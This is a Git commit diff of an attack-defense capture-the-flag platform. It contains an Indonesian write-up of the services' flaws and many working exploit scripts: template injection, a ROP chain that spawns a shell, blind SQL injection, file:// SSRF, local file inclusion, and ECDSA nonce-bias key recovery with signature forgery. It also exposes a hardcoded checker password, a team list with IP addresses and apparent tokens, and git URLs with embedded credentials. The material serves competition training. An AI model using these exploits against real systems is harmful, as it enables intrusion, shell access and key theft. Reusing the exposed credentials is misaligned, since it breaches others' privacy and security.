Initial commit

This commit is contained in:
Rayhan Hanaputra authored and GitHub committed 2025-10-10 22:18:06 +07:00
commit ea02892f14
1246 files changed
+289342

No files matched your search

+10
View File
@@ -0,0 +1,10 @@
lib
lib64
bin
pyenv.cfg
receiver/bin
receiver/lib
receiver/lib64
receiver/pyenv.cfg
receiver/include
receiver/pwntools-doc
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2023 rendi
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+16
View File
@@ -0,0 +1,16 @@
# wreckit-5.0-final
## challenges
| challenges | author | category |
| ---------- | ----------- | -------- |
| poke | jagungrebus | web |
| wanderer | ZeroEXP | web |
| niko | hanz0 | pwn |
| blinkpdf | wondPing | crypto |
## how-to-run
````
python3 starter.py
````
+12
View File
@@ -0,0 +1,12 @@
3 Fidethus 54.179.25.137 Zp4y9X3T1V
4 Men Who Cry 54.255.181.131 8F5G7H2Q6R
5 bangorkan dulu le 18.143.108.133 C4D5E6F7G8
6 me encanta cocinar 54.169.243.246 J3K4L5M6N7
7 PETIR - That Time I Got Reincarnated as a WreckIT Player Official 13.212.142.212 P1Q2R3S4T5
8 Girls Band Cry 54.179.130.178 V7W8X9Y0Z2
9 SNI - FLAVATO 52.221.251.25 OIJA92QOD4
10 Big Brain Kidz 18.143.158.116 B5C6D7E8F9
11 mas Takumi Silahkan maju untuk membayar tagihan listrik 54.254.232.40 H1I2J3K4L5
12 sehad 13.212.60.169 R7S8T9U0V
+179
View File
@@ -0,0 +1,179 @@
# Gemastik XVI: Attack-Defense Write-Up
## art (solved by 18/20 teams)
#### # Summary
Diberikan web service dimana peserta bisa menampilkan sebuah _ASCII art_ sesuai dengan inputan text yang diberikan.
#### # Attack
Terdapat ruby slim _server side template injection_ pada _route_ `/art/:word`. Hal ini terjadi karena parameter `word` di-_concat_ secara langsung tanpa adanya proses sanitasi user input terlebih dahulu.
```rb
get '/art/:word' do
return Slim::Template.new{ '<iframe height="100%" width="100%" frameborder="0" src=https://asciified.thelicato.io/api/v2/ascii?text=' + params[:word] + '></iframe>' }.render
end
```
#### # Defense
Defense dapat dilakukan dengan cara menggunakan [template parameter](https://github.com/slim-template/slim/blob/5f7a7ffe43f3c91c2e63027491349ad1c7bfb507/test/core/test_code_evaluation.rb#L169) pada _framework_ Slim atau [_string interpolation_](https://en.wikipedia.org/wiki/String_interpolation) pada bahasa pemrograman ruby.
## gemas-fetcher (solved by 9/20 teams)
#### # Summary
Diberikan website yang akan melakukan `request` ke url yang diberikan oleh user menggunakan `curl`, `wget`, dan module python `urllib.request`. Sebelum mengirimkan request, url yang diberikan akan divalidasi terlebih dahulu dengan beberapa pengecekan yang salah satunya adalah pengecekan scheme. Untuk mendapatkan scheme dari url yang diberikan user, backend menggunakan module python `urlparse`. Apabila scheme dari url yang diberikan adalah `file` atau `ftp` maka user akan mendapatkan sebuah erroLine truncated
#### # Attack
Module python urlparse terdapat sebuah CVE (CVE-2023-24329) yang dapat digunakan untuk melakukan bypass pengecekan tersebut. Dengan menambahkan sebuah `whitespace` di depan url, urlparse akan menganggap url yang diberikan tidak memiliki scheme apapun, sehingga pengecekan yang dilakukan dapat dibypass. Dari ke-3 method yang berikan (`curl`, `wget`, `urllib.request`), hanya `urllib.request` yang berhasil digunakan untuk melakukan request dengan url yang memiliki `whitespace` di depannya.
#### # Defense
Cara termudah untuk memitigasi CVE tersebut adalah dengan menghapus `whitespace` yang ada di depan url sebelum melakukan parsing menggunakan `urlparse`.
## hirnfick (solved by 4/20 teams)
#### # Summary
Terdapat sebuah service web dimana peserta dapat menjalankan potongan kode program _esoteric langiuage_ [brainfuck](https://en.wikipedia.org/wiki/Brainfuck). Pada backend, potongan kode brainfuck dijalankan menggunakan sebuah program C yang memiliki celah keamanan Out-of-Bound access (OOB) pada array data. Dengan menggunakan celah tersebut, peserta dapat menugbah alur program sehingga mendapatkan Remote Code Execution.
_Attachment_ yang diberikan kepada peserta tidak terdapat _source code_ dari program C yang menjalankan kode brainfuck, namun peserta diharapkan dapat menggunakan alat-alat yang tersedia (seperti disassembler atau decompiler) untuk rekonstruksi source code dari sebuah file binary.
#### # Attack
```c
int debug = 0;
char data[1024] = {0};
char code[1024] = {0};
...
int main() {
// get brainfuck code from user input and execute
...
if (debug) {
puts(data);
}
}
```
Pada saat eksekusi potongan kode brainfuck, terdapat OOB pada array data[1024]. Dengan celah OOB tersebut, nilai debug dapat diubah menjadi _truthy_/selain _0_ dan fungsi puts()
dapat diubah juga menjadi system() dengan mengubah Global Offset Table pada program yang sedang berjalan. Sehingga memungkinkan program untuk mengeksekusi system(data) atau mendapatkan akses _Remote Code Execution_.
#### # Defense
Peserta diberikan beberapa opsi untuk melakukan defense:
1. Patch OOB access yang terdapat pada potongan kode C yang menjalankan kode brainfuck
2. Implementasi _brainfuck interpreter_ menggunakan python pada web server
Pada pengecekan SLA, patch yang diterapkan oleh peserta harus melewati beberapa set pengecekan Input/Output pada _brainfuck interpreter_. Input yang diberikan diambil dari beberapa potongan kode yang terdapat pada laman [Brainfuck Wikipedia](https://en.wikipedia.org/wiki/Brainfuck) dan [Brainfuck Code generator](https://copy.sh/brainfuck/text.html). Jika Output tidak sesuai, maka pengecekan dianggap gagal.
## burvesigner (solved by 1/20 teams)
#### # Summary
Terdapat web service yang mana peserta dapat melakukan login sebagai role guest. Ketika peserta melakukan login, service akan meng-generate suatu signature yang digunakan sebagai token oleh user tersebut dengan menggunakan algoritme variasi Elliptic Curve Digital Signature Algorithm (ECDSA) dengan kurva [secp112r1](https://neuromancer.sk/std/secg/secp112r1).
Dikutip dari Wikipedia, berikut proses ECDSA signature generation dilakukan:
![](https://hackmd.io/_uploads/H1LAwvJ1a.png)
#### # Attack
Pada poin ke-3, nonce _k_ yang digunakan pada proses signature generation harus suatu angka secure random. Namun pada challenge ini, nonce yang digunakan oleh service bukanlah nilai secure random, sehingga peserta dapat memanfaatkan kondisi ini untuk melakukan signature forgery dengan role yang berbeda. Peserta harus melakukan signature forgery dengan role admin untuk berhasil mendapatkan flag (attack) tim lain.
Berikut potongan kode program yang memiliki kerentanan pada proses signature generation:
```py=
def sign(self, msg):
self.set_keys()
k = (int(time() * 1337) << self.u) + self.v
R = k * self.C.G
s = (self.hash(msg) - self.x * R.x) * pow(k, -1, self.C.q) % self.C.q
sig = b"".join(map(self.to_bytes, [R.x, R.y, s]))
return urlsafe_b64encode(sig)
```
Terlihat bahwa nonce _k_ dibangkitkan dengan formula `t * 2^u + v` dimana nilai _t_ memungkinkan untuk di-bruteforce oleh peserta dalam waktu yang singkat, nilai _u_ merupakan konstanta, dan nilai _v_ merupakan random number berukuran _u_ bits.
Dengan mengumpulkan setidaknya 2 buah signature (melakukan login guest sebanyak 2 kali), maka peserta dapat melakukan eliminasi 2 persamaan untuk mendapatkan nilai nonce _k_ dan private key yang digunakan oleh service.
#### # Defense
Dengan mengubah nonce _k_ menjadi nilai secure random, peserta seharusnya sudah berhasil melakukan defense pada service mereka. Sebagai poin tambahan, terdapat implementasi yang kurang tepat pada proses signature generation. Pada proses signature generation, fungsi hash yang digunakan oleh service adalah CRC32.
```py=
def hash(self, msg):
return crc32(msg)
```
Hal ini bukanlah best practice mengingat CRC seharusnya hanya digunakan sebagai checksum pada pengecekan integritas suatu data, namun hal ini tetaplah sulit dan kompleks untuk di-exploit dalam durasi yang singkat seperti durasi kompetisi babak final ini. Implementasi yang merupakan best practice adalah dengan menggunakan fungsi hash yang telah teruji aman seperti fungsi hash SHA.
## xl (solved by 0/20 teams)
#### # Summary
Diberikan web service dimana peserta bisa melakukan convert file excel (xlsx) ke format json.
#### # Attack
Terdapat celah _Local file inclusion_ ketika menggunakan options `type=file` karena tidak ada pengecekan type buffer pada library yang digunakan. Berikut potongan kode dimana _maintainer_ library sudah _aware_ terhadap problem ini tetapi tidak diimplementasikan.
```js
case "file": /*:: if(typeof blob !== 'string') throw "Must pass a filename when type='file'"; */return read_file(blob, options);
```
#### # Defense
Peserta dapat melakukan defense dengan berbagai cara, seperti memberikan default value type sebagai buffer atau menghapus parameter options karena parameter options tidak digunakan sama sekali oleh service ini.
## gemas-notes (solved by 0/20 teams)
#### # Summary
Soal terdiri dari 2 microservice:
1. **Validation Service**: Service ini digunakan untuk memvalidasi JSON yang dikirim oleh user sebelum dikirimkan ke `gemas-notes` service
2. **Gemas Notes (Notes Service)**: *Actual* service yang digunakan untuk mengolah notes (`Create Read Update Delete`)
Perbedaan *behavior* JSON parser yang digunakan kedua microservice dapat dimanfaatkan untuk mengeksploitasi celah Blind SQL Injection yang terdapat pada service `gemas-notes`.
#### # Attack
Apabila terdapat 2 key yang sama dalam sebuah JSON, contohya `{"id":1,"id":2,"data":"halo"}`, module golang `jsonparser` yang digunakan service `gemas-notes` akan selalu menggunakan data yang pertama (id=1), sedangkan module python `jsonschema` yang digunakan `validation-service` untuk melakukan validasi akan selalu menggunakan data yang kedua (id=2). Karena perbedaan _behavior_ ini, peserta dapat memanfaatkannya untuk melakukan _bypass_ terhadap validasi yang dilakukan oleh `validation-serviceLine truncated
```json!=
{
"count_by": "title",
"keyword": "<SQLi Payload Here>",
"keyword": "hehe"
}
```
#### # Defense
Untuk defense, peserta hanya diberikan akses SSH ke service `gemas-notes`, sehingga terdapat 2 hal yang dapat dilakukan:
1. Mengubah parsing JSON agar tidak menggunakan module `jsonparser`
2. Menggunakan prepared statement untuk patch celah SQLi
## pasta (solved by 0/20 teams)
#### # Summary
Terdapat web service dimana peserta dapat melakukan register user dan login user. Ketika user melakukan login, service akan membangkitkan token dengan spesifikasi format yang terinspirasi dari [PASETO](https://paseto.io/).
Token tersebut selanjutnya dapat digunakan user sebagai mekanisme autorisasi. Jika `role` dari user adalah `admin` maka user akan mendapatkan flag di endpoint `/flag`. Maka, objektif user disini adalah melakukan *signature forgery* agar dapat mengubah token user dari role `user` ke role `admin`.
#### # Attack
Dalam implementasi *signing*-nya, service menggunakan algoritma ECDSA dengan metode pembangkitan nonce yang deterministik, yaitu dari hasil `HMAC(d, m)` dimana `d` sebagai HMAC *secret* adalah *private key* dan `m` adalah pesan yang akan di-sign.
Fungsi hash dan kurva yang digunakan tergantung dari versi token yang dipilih oleh user, dimana:
- **version 1**: kurva P-224 dengan SHA-224
- **version 2**: kurva P-256 dengan SHA-256
- **version 3**: kurva P-384 dengan SHA-384
- **version 4**: kurva P-521 dengan SHA-512
Jika kita perhatikan, version 4 menggunakan kurva **P-521** dan fungsi hash **SHA-512**, dimana jumlah operasi bits yang digunakan berbeda. Hal ini mengakibatkan pembangkitan nonce menggunakan SHA-512 mengalami bias sebanyak 9 bits. Mengutip dari [paper ini](https://eprint.iacr.org/2019/023.pdf), kita dapat melihat masalah ini sebagai *Hidden Number Problem* (HNP) untuk mendapatkan *private key*.
Dibutuhkan sekitar 100 sampai 110 *signature* dengan `m` yang berbeda untuk mendapatkan *private key* yang akurat dari HNP. Jadi, peserta perlu membuat sebanyak 100 user yang berbeda, lalu login satu per satu menggunakan user tersebut.
#### # Defense
Kita dapat memitigasi celah ini dengan menggunakan mekanisme pembangkitan nonce yang terstandarisasi. Untuk deterministic nonce, kita dapat menggunakan [RFC-6979](https://www.rfc-editor.org/rfc/rfc6979) dalam membangkitkan nonce secara aman meskipun fungsi hash menggunakan jumlah bit yang berbeda.
+7
View File
@@ -0,0 +1,7 @@
import requests, urllib
import sys
HOST = sys.argv[1]
PORT = 10000
print(requests.get(f'http://{HOST}:{PORT}/art/' + urllib.parse.quote_plus('#{File.read([47, 102, 108, 97, 103, 46, 116, 120, 116].pack("c*"))}')).text)
+42
View File
@@ -0,0 +1,42 @@
from pwn import *
import sys
context.arch = 'amd64'
HOST = sys.argv[1]
PORT = 22000
def conn():
return remote(HOST, PORT, level='warn')
def main():
global r
r = conn()
r.recvline()
junk = b"A" * (0x40 + 8)
pop_rdi = p64(0x401243)
plt_puts = p64(0x401060)
got_puts = p64(0x403fd8)
main_addr = p64(0x4011a9)
ret = p64(0x40101a)
payload = junk + pop_rdi + got_puts + plt_puts + main_addr
r.sendline(payload)
leak = u64(r.recvline(False).ljust(8,b"\x00"))
libc = leak - 0x84420
system = libc + 0x52290
binsh = libc + 0x1b45bd
# print(f"puts @ {hex(leak)}")
# print(f"system @ {hex(system)}")
# print(f"binsh @ {hex(binsh)}")
payload = junk + ret + pop_rdi + p64(binsh) + p64(system) + main_addr
r.sendline(payload)
r.sendline(b"echo 1337")
r.recvuntil(b"1337")
r.sendline(b"cat /flag.txt")
print(r.recvuntil(b'}').decode().strip())
main()
+131
View File
@@ -0,0 +1,131 @@
#!/usr/bin/env python3
from fastecdsa.curve import Curve
from fastecdsa.point import Point
from base64 import urlsafe_b64decode, urlsafe_b64encode
from zlib import crc32
import requests
import json
import re
import sys
import time
HOST = sys.argv[1]
PORT = 14000
url = f"http://{HOST}:{PORT}"
r = requests.get(f"{url}/params").text
r = r.replace("<pre>", "").replace("</pre>", "")
params = json.loads(r)
# print(params)
C = Curve(
"burvesigner",
params["p"],
params["a"],
params["b"],
params["n"],
params["G"][0],
params["G"][1],
)
G = C.G
Y = Point(params["Y"][0], params["Y"][1], C)
b64p = lambda x: x + b"=" * (-len(x) % 4)
b64u = lambda x: x.rstrip(b"=")
b64e = lambda x: b64u(urlsafe_b64encode(x))
b64d = lambda x: urlsafe_b64decode(b64p(x))
def get_token():
r = requests.post(url, data={"username": "guest", "password": "guest"}).cookies
return r["token"]
token1 = get_token()
token2 = get_token()
# print(token1)
# print(token2)
sig1 = token1.split(".")[1]
sig2 = token2.split(".")[1]
t = 112 // 8
shift_u = pow(2, 112 - 64)
def from_bytes(data):
return int.from_bytes(data, "little")
def to_bytes(num):
return int.to_bytes(num, t, "little")
sig1dec = urlsafe_b64decode(sig1)
arr1 = [sig1dec[t * i : t * (i + 1)] for i in range(3)]
Rx1, Ry1, s1 = map(from_bytes, arr1)
sig2dec = urlsafe_b64decode(sig2)
arr2 = [sig2dec[t * i : t * (i + 1)] for i in range(3)]
Rx2, Ry2, s2 = map(from_bytes, arr2)
R1 = Point(Rx1, Ry1, C)
R2 = Point(Rx2, Ry2, C)
# bf diff
for bf in range(1, 2**20):
diff = bf * shift_u
if R1 + G * diff == R2:
# print(bf, diff)
break
def apa(msg):
return crc32(msg)
def fake_sign(msg, x):
k = 555555
R = k * C.G
s = (apa(msg) - x * R.x) * pow(k, -1, C.q) % C.q
sig = b"".join(map(to_bytes, [R.x, R.y, s]))
return urlsafe_b64encode(sig)
def dup_verify(msg, sig):
assert len(sig) == 4 * t
sig = urlsafe_b64decode(sig)
arr = [sig[t * i : t * (i + 1)] for i in range(3)]
Rx, Ry, s = map(from_bytes, arr)
R = Point(Rx, Ry, C)
return apa(msg) * C.G == s * R + Y * R.x
payload = b64e(
json.dumps(
{"user": "admin", "role": "admin", "exp": int(time.time()) + 300}
).encode()
)
h1 = apa(token1.split(".")[0].encode())
h2 = apa(token2.split(".")[0].encode())
h3 = apa(payload)
k1 = (Rx1 * h2 - Rx1 * s2 * diff - Rx2 * h1) * pow(Rx1 * s2 - s1 * Rx2, -1, C.q) % C.q
priv = (h1 - s1 * k1) * pow(Rx1, -1, C.q) % C.q
sig3 = fake_sign(payload, priv)
# print(k1, priv, to_bytes(priv))
token3 = payload + b"." + sig3
token3 = token3.decode()
# print(token3)
r = requests.get(url, cookies={"token": token3}).text
if "flashes" in r:
print("failed")
exit(1)
flag = re.findall(r'Welcome, admin! (.+)</p>', r)[0]
print(flag)
+23
View File
@@ -0,0 +1,23 @@
k1 = t1 * 2^shift + junk
k2 = (t1 + diff) * 2^shift + junk
k2 - k1 = diff (2^shift)
bf: diff (2^shift)
for bf in range(...):
if R1 + G * bf * (2^shift) == R2:
found
--------------------------------
s1 (k1) = h1 - r1 x
s2 (k1 + diff) = h2 - r2 x
(h1 - s1 k1) / r1 = x
(h2 - s2 k1 - s2 diff) / r2 = x
(h1 - s1 k1) r2 = (h2 - s2 k1 - s2 diff) r1
r2 h1 - r2 s1 k1 = r1 h2 - r1 s2 k1 - r1 s2 diff
r1 s2 k1 - r2 s1 k1 = r1 h2 - r1 s2 diff - r2 h1
k1 (r1 s2 - s1 r2) = r1 h2 - r1 s2 diff - r2 h1
k1 = (r1 h2 - r1 s2 diff - r2 h1) / (r1 s2 - s1 r2)
+7
View File
@@ -0,0 +1,7 @@
import requests
import sys
HOST = sys.argv[1]
PORT = 21000
print(requests.post(f"http://{HOST}:{PORT}/crawlback.php", data={'url': 'file:///flag.txt'}).text)
+30
View File
@@ -0,0 +1,30 @@
import requests, random, string, base64, gzip, zlib, json, sys
HOST = sys.argv[1]
PORT = 16000
def random_string(length):
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(charset) for i in range(length))
def exploit():
sess = requests.Session()
## register
username = random_string(5)
password = random_string(5)
r = sess.post(f"http://{HOST}:{PORT}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
## login
r = sess.post(f"http://{HOST}:{PORT}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
## exploit python
content = {"provider": "python","url":" file:///flag.txt"}
files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
r = sess.post(f"http://{HOST}:{PORT}/dashboard/fetch_by_file", files=files)
b64_string = r.text
b64_string += "=" * ((4 - len(b64_string) % 4) % 4)
print(base64.b64decode(b64_string).decode())
if __name__ == "__main__":
exploit()
+54
View File
@@ -0,0 +1,54 @@
import requests
HOST = "http://localhost:12000"
def login():
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
return token
def send_request(payload,token):
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
if res.status_code == 401:
new_token = login()
return send_request(payload, new_token)
return res.json()["count"], token
def attack(idx, char):
global token
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) > {ord(char)},31337,0) ORDER BY 1 DESC#"
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
result,token = send_request(final_payload, token)
if result == 31337:
return True
return False
def solve():
charset = "0123456789abcdef"
flag = ""
idx = 10
for i in range(32):
lo = 0
hi = len(charset)
while lo <= hi:
mid = lo + (hi - lo) // 2
char = charset[mid]
if attack(idx,char):
lo = mid + 1
else:
hi = mid - 1
flag += charset[lo]
print(f"CHAR {idx} | {charset[lo]}")
idx += 1
return "WRECKIT50{"+flag+"}"
if __name__=="__main__":
global token
token = login()
flag = solve()
print(flag)
+37
View File
@@ -0,0 +1,37 @@
import requests
HOST = "http://localhost:12000"
def login():
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
return token
def send_request(payload,token):
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
if res.status_code == 401:
new_token = login()
return send_request(payload, new_token)
return res.json()["count"], token
def attack():
token = login()
charset = "0123456789abcdef"
flag = ""
idx = 10
for i in range(32):
for c in list(charset):
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) = {ord(c)},31337,0) ORDER BY 1 DESC#"
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
result,token = send_request(final_payload, token)
if result == 31337:
flag += c
idx += 1
print(f"[+] CHAR {idx} | {c}")
break
return "WRECKIT50{"+flag+"}"
if __name__=="__main__":
flag = attack()
print(flag)
+33
View File
@@ -0,0 +1,33 @@
#!/usr/bin/env python3
from subprocess import check_output
from pwn import *
def execute(payload):
with open("payload", "wb") as f:
f.write(payload)
output = check_output(["./hirnfick", "payload"])[13:]
return output
def enc(s):
final = b""
for c in s:
final += b"+" * c
final += b">"
return final
payload = b"<" * 0x90
payload += b"+" * (0x20)
payload += b">"
payload += b"+" * (0x5e-0x22)
payload += b">"
payload += b"---"
payload += b">" * (0x90-2-0x20)
payload += b"+"
payload += b">" * 0x20
payload += enc(b"cat /flag.txt")
# payload += b".>" * 8
out = execute(payload)
print(hexdump(out))
+85
View File
@@ -0,0 +1,85 @@
import hmac
from base64 import urlsafe_b64encode, urlsafe_b64decode
from hashlib import sha224, sha256, sha384, sha512
from ecdsa import ecdsa, SigningKey, VerifyingKey, NIST256p, NIST224p, NIST384p, NIST521p
allowed_curve = [
NIST224p,
NIST256p,
NIST384p,
NIST521p
]
hashfunc = [
sha224,
sha256,
sha384,
sha512
]
key_size = [28, 32, 48, 66]
signature_size = [56, 64, 96, 132]
class PastaSigner:
def __init__(self, secret: bytes, version: int):
self.purpose = 'public'
if version > 4 or version < 1:
version = 1
self.version = version
self.hashfunc = hashfunc[self.version - 1]
self.key_size = key_size[self.version - 1]
self.priv = SigningKey.from_string(secret[:self.key_size], curve=allowed_curve[self.version - 1])
def serialize(self, data: bytes, sig):
token = 'v' + str(self.version) + '.'
token += self.purpose + '.'
token += urlsafe_b64encode(data + sig).decode().replace('=', '')
return token
def sign(self, data: str):
data = data.encode()
pub = self.priv.get_verifying_key().to_string()
h = self.hashfunc(data + pub).digest()
nonce = hmac.new(self.priv.to_string(), data, self.hashfunc).hexdigest()
sig = self.priv.sign_digest(h, k=int(nonce, 16))
return self.serialize(data + pub, sig)
class PastaVerifier:
def __init__(self, secret):
self.purpose = 'public'
self.secret = secret
def deserialize(self, data: bytes):
try:
version, purpose, payload = data.split(b'.')
version = int(version.replace(b'v', b''))
if version > 4 or version < 1:
return False
self.version = version
self.hashfunc = hashfunc[self.version - 1]
self.key_size = key_size[self.version - 1]
self.priv = SigningKey.from_string(self.secret[:self.key_size], curve=allowed_curve[self.version - 1])
raw_data = urlsafe_b64decode(payload + (b'==' * 2))
size = signature_size[self.version - 1]
signature = raw_data[-size:]
public_key = raw_data[-size * 2:-size]
message = raw_data[:-size]
return message, public_key, signature
except Exception as e:
return False
def verify(self, token: str):
deserialized = self.deserialize(token.encode())
if deserialized:
message, _, signature = deserialized
h = self.hashfunc(message).digest()
verifier = self.priv.get_verifying_key()
return verifier.verify_digest(signature, h)
return False
+129
View File
@@ -0,0 +1,129 @@
import json
import os
import requests
from sage.all import *
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor
from hashlib import sha512
from base64 import urlsafe_b64decode, urlsafe_b64encode
from pasta import PastaSigner, PastaVerifier
HOST = "10.100.101.102:13000"
# HOST = "0.0.0.0:8000"
def register(username):
r = requests.post('http://{}/register'.format(HOST), json={'username': username, 'password': '123'})
print(r.json())
def login(username):
r = requests.post('http://{}/auth?version=4'.format(HOST), json={'username': username, 'password': '123'})
token = r.json()['token']
return token
def get_flag(token):
r = requests.get('http://{}/flag'.format(HOST), headers={'Authorization': 'Bearer {}'.format(token)})
return r.json()
secret = b'\x00' + os.urandom(65)
signer = PastaSigner(secret, 4)
verifier = PastaVerifier(secret)
sigs = []
n = 110
for i in range(n):
username = "pasta-{}".format(i)
register(username)
token = login(username)
sigs.append(token.encode())
# sigs.append(signer.sign(json.dumps({"username": username, "role": "user"})).encode())
hs = []
rs = []
ss = []
for i in range(n):
_, _, sig = sigs[i].split(b".")
raw_data = urlsafe_b64decode(sig + (b'==' * 2))
size = 132
signature = raw_data[-size:]
public_key = raw_data[-size * 2:-size]
message = raw_data[:-size]
r = bytes_to_long(signature[:66])
s = bytes_to_long(signature[66:])
hs.append(bytes_to_long(sha512(message).digest()))
rs.append(r)
ss.append(s)
h1 = int(hs[0])
r1 = int(rs[0])
s1 = int(ss[0])
captured = []
for i in range(len(hs)):
captured.append((int(hs[i]), int(rs[i]), int(ss[i])))
order = 0x01fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409
matrix = []
nonce_bit = 512 # bit size of nonce
i = 0
n = len(captured) + 2
max_nonce = 2**nonce_bit
for signature in captured:
matrix.append([0] * n)
matrix[i][i] = order
i += 1
matrix.append([0] * n)
matrix.append([0] * n)
i = 0
for signature in captured:
h, r, s = signature
inv_s = inverse_mod(s, order)
matrix[n - 2][i] = r * inv_s
matrix[n - 1][i] = h * inv_s
i += 1
matrix[n - 2][n - 2] = int(max_nonce) / order
matrix[n - 2][n - 1] = 0
matrix[n - 1][n - 2] = 0
matrix[n - 1][n - 1] = max_nonce
print("LLL")
B = Matrix(QQ, n, n, matrix)
L = B.LLL()
possible_d = []
for row in list(L):
k1 = int(abs(row[0]))
if k1 != 0 and k1 != max_nonce and k1 < max_nonce:
d = (k1 * s1 - h1) * inverse_mod(r1, order) % order
possible_d.append('00' + long_to_bytes(d).hex())
# assert secret.hex() in possible_d
for d in possible_d:
fake_signer = PastaSigner(bytes.fromhex(d), 4)
token = fake_signer.sign(json.dumps({"username": "pwned", "role": "admin"}))
print(get_flag(token))
+7
View File
@@ -0,0 +1,7 @@
import requests
import sys
HOST = sys.argv[1]
PORT = 20000
print(requests.get(f"http://{HOST}:{PORT}/download?filename=/flag.txt").text)
+1
View File
@@ -0,0 +1 @@
/flag.txt
+6
View File
@@ -0,0 +1,6 @@
import requests
url = f'http://localhost:11000?type=file'
files = {'file': open('path', 'rb').read()}
r = requests.post(url, files=files, timeout=5)
print(r.json())
Symlink
+1
View File
@@ -0,0 +1 @@
lib
+34
View File
@@ -0,0 +1,34 @@
# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl -y
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# Add the repository to Apt sources:
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-compose -y
sudo snap install docker
git clone https://rafliher:xx@github.com/rafliher/wreckitattdef-node.git
cd wreckitattdef-node
tmux new
sudo python3 starter.py | sudo tee -a /var/log/node.log
cd wreckitattdef-node
git pull https://rafliher:xx@github.com/rafliher/wreckitattdef-node.git
sudo docker compose -f services/docker-compose.yml up --build -d
sudo docker compose -f services/docker-compose.yml up --build --force-recreate -d
sudo python3 starter.py | sudo tee -a /var/log/node.log
+5
View File
@@ -0,0 +1,5 @@
home = /usr/bin
include-system-site-packages = false
version = 3.12.3
executable = /usr/bin/python3.12
command = /usr/bin/python3 -m venv /home/ubuntu/wreckitattdef-node
+5
View File
@@ -0,0 +1,5 @@
.env
__pycache__/
# Ignore flags and history
history/*.txt
+40
View File
@@ -0,0 +1,40 @@
from .Challenge import Challenge
import io
import pandas as pd
import requests
import re
class Art(Challenge):
flag_location = 'flags/art.txt'
history_location = 'history/art.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
word = self.random_string(8)
url = f'http://localhost:{self.port}/art/{word}'
r = requests.get(url, timeout=5)
assert r.text == f'<iframe height="100%" width="100%" frameborder="0" src=https://asciified.thelicato.io/api/v2/ascii?text={word}></iframe>', 'Unexpected response'
self.logger.info('Check passed for art')
return True
except Exception as e:
self.logger.error(f'Could not check art: {e}')
return False
+35
View File
@@ -0,0 +1,35 @@
from .Challenge import Challenge
from pwn import *
class BackToBasic(Challenge):
flag_location = 'flags/back-to-basic.txt'
history_location = 'history/back-to-basic.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
r = remote("localhost",self.port)
assert b"idea?" in r.recvline(), "Failed First"
r.sendline(b"testt")
assert b"thing" in r.recvline(), "Failed Last"
return True
except Exception as e:
self.logger.error(f'Could not check back-to-basic: {e}')
return False
+124
View File
@@ -0,0 +1,124 @@
from .Challenge import Challenge
from fastecdsa.curve import Curve
from fastecdsa.point import Point
import requests
import time
import os
import json
class Burvesigner(Challenge):
flag_location = 'flags/burvesigner.txt'
history_location = 'history/burvesigner.txt'
priv_location = 'files/burvesigner.priv'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.priv_location, 'wb') as f:
f.write(os.urandom(256))
